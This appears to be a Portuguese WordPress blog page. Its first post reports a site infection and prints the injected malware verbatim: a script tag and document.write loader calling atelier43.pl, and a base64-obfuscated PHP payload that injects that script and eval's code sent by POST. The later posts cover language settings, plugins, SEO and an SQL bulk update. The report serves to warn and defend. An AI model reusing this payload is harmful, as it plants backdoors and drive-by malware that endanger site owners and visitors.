Aviso: Visitar este site poderá danificar o seu computador!

PrtSc Aviso do Chrome

Embora o Chrome não seja o browser que uso no dia a dia, ganhou mais um ponto na minha consideração. É o browser que arranca mais rapidamente no meu pc, dai quando preciso se ir á net e não posso esperar que abra outro browser abra utilizo-o. Hoje ao abrir recebi um erro que está na imagem:

O Web site em antoniocampos.net contém elementos do site atelier43.pl, o qual parece alojar software maligno ““ ou seja, software que pode danificar o seu computador ou funcionar sem o seu consentimento. A mera visita a um site que contenha software maligno pode infectar o seu computador.

Para obter informações mais detalhadas sobre os problemas com estes elementos, visite a Página de diagnóstico Navegação segura no Google para atelier43.pl.

 

depois de olha para o código fonte vi que de alguma forma foi injectado código no ficheiro original, o código malicioso inserido foi o seguinte:

<script src=http://atelier43.pl/images/gifimg.php ></script>

Logo a seguir ao fecho da tag </head>, visitei outros dominios todos alojados no mesmo sitio e todos os dominios tinham o mesmo sintoma, depois de uma analise cuidada reparei que havia vários ficheiros infectados pela injecção, conforme a extenssão do ficheiro tinham código diferente.

Nos ficheiros de javascript (.js):

document.write(‘<script src=http://atelier43.pl/images/gifimg.php ><\/script>’);

Nos ficheiros html aparecia o código já descrito em cima e nos ficheiros .php o seguinte código:

<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygncHEzazcnKSl7ZnVuY3Rpb24gcHEzazcoJHMpe2lmKH

ByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWF

jaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRj

aCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF

0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFx

iIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2

RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRja

F9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXM

nLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aF

xzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc

3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycp

LicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlK

CdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkYwWld4cFpYSTBNeTV3YkM5cGJXRm5aW

E12WjJsbWFXMW5MbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCR

zLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHM

sMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24

gcHEzazcyKCRhLCRiLCRjLCRkKXtnbG9iYWwkcHEzazcxOyRzPWFycmF5KCk7aWYoZnVuY3R

pb25fZXhpc3RzKCRwcTNrNzEpKWNhbGxfdXNlcl9mdW5jKCRwcTNrNzEsJGEsJGIsJGMsJGQ

pO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J3B

xM2s3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1h

cnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bn

QoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9

jbGVhbigpO31vYl9zdGFydCgncHEzazcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2J

fc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kcHEzazdsPSgoJGE9QHNldF9lcnJ

vcl9oYW5kbGVyKCdwcTNrNzInKSkhPSdwcTNrNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY2

9kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>

Este é o código responsavel por infectar os ficheiros se fizerem um base64_decode e analisarem o código aparece a forma como os ficheiros foram infectados, mas não explica como o código “entrou” pela primeira vez.

Além das infecções referidas foram craidos vários ficheiros, com vários nomes que aguardam o POST código php e o executam no servidor, deixando assim todos os ficheiros a que o utilizador que está a correr o site vulneraveis.

Depois de várias pesquisas no Google tudo aponta para uma falha no WordPress embora não tenha descoberto em que versão, penso que deverá ser na 2.8.6 pois nessa conta de alojamento tenho 3 instalações de wordpress todas actualizadas para a 2.8.6. Segundo a sabedoria do Google não fui o primeiro a ser infectado por esta praga, embora dos artigos que encontrei no google não sejam os mesmos, a infecção e a presença de código malicioso é semelhante á que me aconteceu.

Por isso aconselho todos os que tem sites em WordPress que verifiquem se estão infectados.

Estou a descarregar todos os ficheiros que tenho alojados neste servidor para analisar mais atentamente o que aconteceu, creio que não vou chegar a nenhuma conclusão de como fui infectado uma vez que não tenho acesso aos logs do apache, mas no minimo vou ter que limpar todos os ficheiros.

Uma das soluções seria apagar todos os ficheiros da instalação e colar uma versão nova de todos os ficheiros, mas isso fará com que todas as costumizações de temas e plugins se percam, e obrigaria á instalação de todos os plugins novamente.

Mal haja desolvimentos sobre a solução (pelo menos da limpeza dos ficheiros) crio um novo post com os mesmos.

Alterar WordPress Inglês para Português

Se tem um blogue em WordPress e está em inglês e o quer converter facilmente para a versão Portuguesa do WordPress basta editar o ficheiro “wp-config.php” que está na pasta principal da instalação do WordPress e alterar a linha:

define (‘WPLANG’, ”);

para:

define (‘WPLANG’, ‘pt_PT’);

No próximo login como admin ou utilizador com permissões de administração, irá surgir no  topo uma notificação para um upgrade, basta efectuar o upgrade e o WordPress passa a estar em inglês a passa em Português.

Se não aparecer a mensagem basta ir ao menu “Tools” na sidebar do painel de administração e clicar em “upgrade” e depois fazer “Re-install Automatically” depois de concluido surge a dita notificação de upgrade.

Experimentei em dois blogues e num deles só funcionou após ter efectuado o segundo passo.

WordPress Login Form Image

Para uma personalização maior do wordpress criei um pequeno plugin que permite alterar a imagem que aparece no topo do formulário de login. Podem ver o resultado final aqui

Editar directamente o tema é complicar os futuros updates, dai a criação de um plugin para o efeito.

A utilização do plugin é muito simples é só fazer upload da pasta do plugin para a pasta wp-content/plugins/ do wordpress e colocar a imagem pretendida com o nome wp-custom-login-logo.png na mesma pasta, depois é só activr o plugin e está feito.

Por um engano ao submeter o plugin o nome do directório do plugin ficou mal escrito, fica um bocado mal, mas por agora vou deixar assim.

Página do plugin WP-Custom-Login-Logo

Sapo OpenID WordPress Plugin

Já tinha tentado usar vários providers de OpenID, mas sempre tive dificuldade de me recordar o URL do serviço, há pouco tempo conheci o Sapo OpenID registei-me e comecei a usar, mesmo assim sempre que precisava de fornecer o URL para ser usado com o OpenID tinha que regressar ao site para o obter, vai dai resolvi criar um plugin que permite muito facilmente num blog em WordPress adicionar as tags necessárias no header do blog para que ao fornecer o URL do blog seja detectado o nosso servidor de OpenID (no caso o Sapo.pt).

A persona a usar é configurada no interface de administração do WordPress.

SapoOpenID WordPress Plugin

A criação deste plugin serviu também para aprofundar os meus conhecimentos em WordPress, foi escrito de raiz isto dificultou bastante a tarefa, mas soube bem ve-lo a funcionar correctamente.

WordPress SEO

O SEO é hoje em dia quase uma ciência, muitas empresas se dedicam exclusivamente a estudar os algoritmos que contribuem para um melhor posicionamento nas pesquisas dos motores de busca. Os algoritmos que atribuem o rank de posicionamento nos motores de busca não é aberto, ou seja tudo o que faça a nivel de SEO é por tentativa falha, o que faz com que não haja uma solução nem uma formula que garanta a presença nos resultados das pesquisas dos motores de busca. Mesmo que alguém encontre hoje um método que permita melhorar o posicionamento os algoritmos podem ser alterados e todo o trabalho que se fez vai pela agua a abaixo.

Muitos webmasters focam-se apenas em obter novos visitantes,  preocupam-se apenas nas palavras que estão na mó de cima e abdicam de ter bons conteudos que fidelizem os visitantes. O que faz com que efectivamente obtenham visitas mas sejam visitantes só uma, só voltam se o site voltar a aparecer em pesquisas, pelo contrário se o visitante encontrar um site nos resultados e oa o visitar encontrar conteudos de interesse vai guadar o url nos favoritos, o subscrever as feeds RSS ou até mesmo usar o site como referencia.

Conheço alguns sites que nunca apostaram no SEO, preferiram a qualidade dos conteudos e hoje em dia tem uma audiência fidelizada e muitas referencias na internet. O que faz com que tenham muitas visitas sem terem um bom posicionamento nos resultados dos motores de busca. Embora como consequencia do grande numero de referencias e conteudos diversificados tenham os seus conteudos amplamente espalhados pela internet.

Este artigo não é uma manisfestação contra o SEO, é mais uma alerta e uma resposta a muitas perguntas que tenho recebido sobre esta tematica.

No caso concreto do WordPress existem várias técnicas de SEO, uma das delas é uma funcionalidade standard do WordPress que é a estrutura dos urls que permite ter em vez do clássico p=xxx ter algo do genero /nome-do-post/, não adianta criar url’s em que o titulo não tem nada a ver com o conteudo segundo algumas teorias do SEO isso pode até prejudicar o posicionamento, por exemplo se colocar neste artigo o permalink /mulheres-de-fio-dental/ posso não estar a criar uma mais valia posso pelo contrario estar a prejudicar o post em si, porque o url não tem qualquer relevancia para o conteudo do post.

Outra das técnicas conhecidas de SEO para o WordPress são os plugins optimizam os posts para o posicionamento nos motores de busca um dos mais conhecidos e abrangestes é o “All in one Seo Pack WordPress” que optimiza o titulo de cada página/post, cria meta-descritpions, cria meta-keywords e detecta conteudos duplicados aplicando a tag noindex para os motores de busca não seguirem os links para conteudos repetidos.

O meta-description é uma descrição curta da pagina no inicio da avalanche da internet este era um dos factores mais importantes conjuntamente com a meta-keywords (palavras chaves relacionadas com o conteudo) com a manipulação de muitos webmasters a importancia destas duas tags perdeu a sua importancia, passando os motores de busca a analisar mais o conteudo, mesmo assim estas duas tags continuam a ter importancia, por exemplo a descrição que aparece no Google por baixo do Url do site é muitas vezes a meta-description como esse é o primeiro contacto que internauta tem com o nosso site é importante estar bem estruturado.

O conteudo duplicado é diferente de conteudo copiado, podemos considerar links para conteudos repetidos os links que aparecem em todas as paginas  a apontar para os mesmos conteudos desconheço o impacto disso em termos de SEO mas segundo dizem os entendidos é mau, pelo que a acreditar neles coloco a tag noindex para os motores de busca não indexarem esses conteudos ou indexarem apenas uma vez. Outra questão é a duplicação de conteudos que consta que também é detectada por alguns motores de busca contribuindo negativamente em termos de posicionamento.

A disponibilização de conteudos em várias linguas pode ajudar a angariar visitas de outros internautas que não falam a lingua nativa do site para isso existe também um plugin excelente que é o “WordPress Global Tranlator“, que é um plugin que tradiz de forma automática um blog em WordPress para várias linguas, devido a limitações dos mecanismos de tradução por vezes a tradução não é demorada ou mesmo impossivel mas cada caso é um caso!

Outro dos principios basicos de SEO é o bom senso e a coerenciaentre as varias partes de um site, mas estas não são explicáveis.

WordPress alterar estado posts

Para solucionar o problema colocado no fórum WordPress-PT fiz um pequeno comando SQL que permite alterar o estado de todos os posts numa categoria de uma vez só para ‘draft’, publico este pequeno UPADTE porque com pequenas modificações pode ser bastante útil a quem necessite de actualizar vários posts ou páginas de uma só vez directamente na base de dados do WordPress.

UPDATE wp_posts p /*Tabela onde estão os posts e páginas*/
LEFT OUTER JOIN wp_term_relationships r ON r.object_id = p.ID /*tabela com as relações dos posts*/
LEFT OUTER JOIN wp_terms t ON t.term_id = r.term_taxonomy_id /*tabela onde estao as descrições das categorias*/
SET p.post_status = ‘draft’ /*estados possiveis draft, publish ou pending*/
WHERE p.post_status = ‘publish’ AND p.post_type = ‘post’ AND t.slug = ‘NomeDaCategoria’ /*condições para proceder ao update*/